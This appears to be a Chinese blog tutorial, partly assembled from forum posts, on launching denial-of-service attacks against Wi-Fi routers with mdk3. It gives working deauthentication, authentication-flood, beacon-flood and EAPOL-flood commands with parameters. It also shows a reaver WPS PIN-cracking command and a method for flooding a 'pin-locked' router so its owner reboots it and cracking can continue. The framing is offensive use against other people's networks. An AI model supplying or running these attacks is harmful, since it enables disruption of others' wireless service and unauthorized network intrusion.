wifi渗透：DOS路由器，让坏蛋们断网2.0
上一篇用的是aireplay-ng来实施的DOS攻击，他是Aircrack下的一个命令，事实上还有一些办法，通过arp攻击也可以让他断网，可那就不是dos攻击手法了。这次的测试环境与上次一样， 这篇文章中现在只有第一种攻击方式有效，下面两种了解一下就可以了。
来看一下通过路由器上网前与路由器的验证过程
1.用虚拟机连接上网卡
2.输入ifconfig，查看是否挂载成功
出现wlan0即为挂载成功
3.输入airmon-ng start wlan0,调为监听模式
4.输入ifconfig查看是否成功
若最后一个wlan0变为wlan0mon即为成功
5.使用airodump-ng wlan0mon 查看周围无线路由器情况
记录受害者的BSSID,CH
6.mdk3 wlan0mon d -c 1[,6,11] [-w file1 -b file2]
其中各参数详情：
d：表示的是deauthentication/disassociation攻击模式
-c：针对的是无线网络工作频道，这里选择为4，我的测试路由器为@PHICOMM_10
-w：file白名单模式，w就是白名单的简写，即后跟文件中包含AP的MAC会在攻击中回避
-b：file黑名单模式，b就是黑名单的简写，即后跟预攻击目标AP的MAC列表
此时我输入mdk3 wlan0mon d -c 4
虽然看起来没什么反应，但实际上我的手机已经连接不上wifi了
注意：这里的攻击不对网线连接的客户端起作用，仅仅是对无线设备管用，而且只能是范围比较近的路由器起作用，前面的aireplay也是有一定范围限制的。
在无线路由器或者接入点内置一个列表即为连接状态表，里面可显示出所有与该AP建立连接的无线客户端状态。它试图通过利用大量模仿和伪造的无线客户端关联来填充AP的客户端关联表，从而达到淹没AP的目的。
由于开放身份验证（空身份验证）允许任何客户端通过身份验证后关联。利用这种漏洞的攻击者可以通过创建多个到达已连接或已关联的客户端来模仿很多客户端，从而淹没目标AP的客户端关联表。
攻击步骤：
简化一点，简化一点。
才开始的都一样，就最后一点不一样，刚刚是mdk3 wlan0mon d -c 4
4为信道，d为deauth攻击模式，-c为指定信道
现在是mdk3 wlan0mon a -a D8:C8:E9:1B:59:18
查看攻击效果
事实证明丝毫不受影响，但这只是我的斐讯路由器，不知道你们的是否管用
虽然不管用了，但这种空验证的攻击手法还是需要知道，毕竟有时候逛论坛仿佛看天书一样就很不爽了。
其中：
a：表示的是authentication DOS模式
-a：攻击指定的AP(路由器)，此处输入的是AP的MAC地址
-s：发送数据包速率
当攻击成功后，指定的AP会有很多的不存在的无线站点与之联系。
与二相同，也是除最后一条命令不同外其余均相同
输入 mdk3 wlan0mon a -a D8:C8:E9:1B:59:18
手机畅行无阻。同样已经不管什么卵用了。
现在在与路由器的身份验证过程中，空连接等已经不管用了。
请教mdk3 攻击路由器问题
以下几种攻击模式，可以一个个试，看那个模式有用：mdk3 mon0 a -p 40:16:9F:**:2C:B2(40:16:9F:**:2C:B2为你pin死的路由的MAC，注意空格和大小写）mdk3 mon0 a -d 40:16:9F:**:2C:B2(40:16:9F:**:2C:B2为你pin死的路由的MAC，注意空格和大小写）mdk3 mon0 a -f 40:16:9F:**:2C:B2(40:16:9F:**:2C:B2为你pin死的路由的MAC，注意空格和大小写）mdk3 mon0 a -g 40:16:9F:**:2C:B2(40:16:9F:**:2C:B2为你pin死的路由的MAC，注意空格和大小写）
关于路由器pin死的解决方案？（mdk3验证模式攻击！）的疑问？
pin死了保存窗口不变，打开超级终端，输出reaver -i mon0 -b MAC地址 -a -s- -vv 回车
在linux 下怎么才能用mdk3 这个命令啊 需要安装软件莫？？
MDK3 是一款无线DOS 攻击测试工具，能够发起Beacon Flood、Authentication DoS、Deauthentication/Disassociation Amok 等模式的攻击,另外它还具有针对隐藏ESSID 的暴力探测模式、802.1X 渗透测试、WIDS干扰等功能”。
——虽然这几句话被转了N遍，但我们还是以这句话开头；今天就围绕以上提到的几种攻击模式进行简单的折腾下：
首先激活无线网卡至监听模式，然后输入mdk3 --fullhelp查看详细帮助内容
beacon flood mode：
这个模式可以产生大量死亡SSID来充斥无线客户端的无线列表，从而扰乱无线使用者；我们甚至还可以自定义发送死亡SSID的BSSID和ESSID、加密方式（如wep/wpa2）等。
详细命令如下：
mdk3 mon0 b
-n ssid #自定义ESSID
-f filename #读取ESSID列表文件
-v filename #自定义ESSID和BSSID对应列表文件
-d #自定义为Ad-Hoc模式
-w #自定义为wep模式
-g #54Mbit模式
-t # WPA TKIP encryption
-a #WPA AES encryption
-m #读取数据库的mac地址
-c chan #自定义信道
-s pps #发包速率
mdk3 --help b #查看详细内容
Authentication DoS：
这是一种验证请求攻击模式：在这个模式里，软件自动模拟随机产生的mac向目标AP发起大量验证请求，可以导致AP忙于处理过多的请求而停止对正常连接客户端的响应；这个模式常见的使用是在reaver穷据路由PIN码，当遇到AP被“pin死”时，可以用这个模式来直接让AP停止正常响应，迫使AP主人重启路由！
mdk3 mon0 a
-a ap_mac #测试指定BSSID
-m #使用有效数据库中的客户端mac地址
-c #对应 -a ，不检查是否测试成功
-i ap_mac #对指定BSSID进行智能攻击
-s pps #速率，默认50
Deauthentication/Disassociation Amok：
这个模式看名称就知道大概了：强制解除验证解除连接！在这个模式下，软件会向周围所有可见AP发起循环攻击......可以造成一定范围内的无线网络瘫痪（当然有白名单，黑名单模式），直到手动停止攻击！
mdk3 mon0 d
-w filename #白名单mac地址列表文件
-b filename #黑名单mac地址列表文件
-s pps #速率，这个模式下默认无限制
-c [chan,chan,chan,...] #信道，可以多填，如 2,4,5,1
Basic probing and ESSID Bruteforce mode:
基本探测AP信息和ESSID猜解模式
mdk3 mon0 p
-e ssid #待检测的ssid
-f filename #检测AP设置为隐藏的ssid列表文件
-t bssid #用bssid检测AP的信息
-s pps #速率，默认300
-b character set #设置字符集
802.1X tests：
802.1X 协议下的攻击测试
mdk3 mon0 x
0 - EAPOL Start packet flooding #EAPOL格式的报文洪水攻击
-n ssid
-t bssid #目标客户端的mac地址
-w WPA type
Set WPA type (1: WPA, 2: WPA2/RSN; default: WPA)
-u unicast cipher
Set unicast cipher type (1: TKIP, 2: CCMP; default: TKIP)
-m multicast cipher
Set multicast cipher type (1: TKIP, 2: CCMP; default: TKIP)
-s pps #速率，默认400
1 - EAPOL Logoff test #注销认证攻击
-t bssid #目标客户端的mac地址
-c bssid #目标ap的合法客户端mac
-s pps #速率，默认400
mdk3 无线攻击使用详解
前往原文地址
发射伪造的AP，可能造成网络扫描程序或者驱动程序崩溃
身份验证 DoS 攻击
基本侦测和ESSID穷举
解除认证，强迫连接 AP 的每台设备掉线
Michael shutdown，连续取消所有流量
WIDS / WIPS / WDS 多认证搅乱路由表
MAC 地址过滤暴力破解。对已知的客户端 MAC 地址尝试在动态变化时对给定 AP 进行身份验证
WPA 降级测试，不验证站点和 AP 发送 WPA 加密的数据包，尝试设置为 WPE 加密或者不加密，mdk3 会让 WPE 或者未加密的客户端工作
路由器pin死怎么办
重启之后关掉wps。
首先检测网卡：
ifconfig -a
然后模拟端口：
airmon-ng start wlan0
接下来用：
airodump-ng mon0
扫描ap找到你pin死的路由器mac
用mdk3 做身份验证攻击
mdk3 mon0 a -a mac（被pin死的路由器的mac）
身份验证攻击效果说明：
此攻击是针对无线AP的洪水攻击，又叫做身份验证攻击。其原理就是向AP发动大量的虚假的链接请求，这种请求数量一旦超 过了无线AP所能承受的范围，AP就会自动断开现有链接，使合法用户无法使用无线网络。迫使路由主人重启路由器。
说明：
此命令功能强大，使用错误会造成所有ap不能使用，请指定mac地址，然后使用，其余命令不要乱试。你要使用此命令的其他参数，请详细阅读此命令参数详解。
经测试此功能异常强大，但要慎用，不但会使被攻击的AP死机还会影响到其他可视范围内的AP。搞不好会把其他已经PJ的AP都搞瘫痪。
废话少说首先进入CDlinux，打开水滴或者打气筒搜索pin死的MAC地址（直接打开水滴或者3070驱动搜索无线MAC地址
然后点击左下角CDlnux图标，依次打开 无线安全--------mdk3-v6
进入mdk3后输入命令mdk3 mon0 a -a 40:16:9F:**:2C:B2(40:16:9F:**:2C:B2为你pin死的路由的MAC，注意空格和大小写）
回车后进入攻击模式，时间不要太长，最多半分钟就可以关闭对话框然后重新扫描网络看pin死的路由是不是已经不在了。等待主人重启吧
0条大神的评论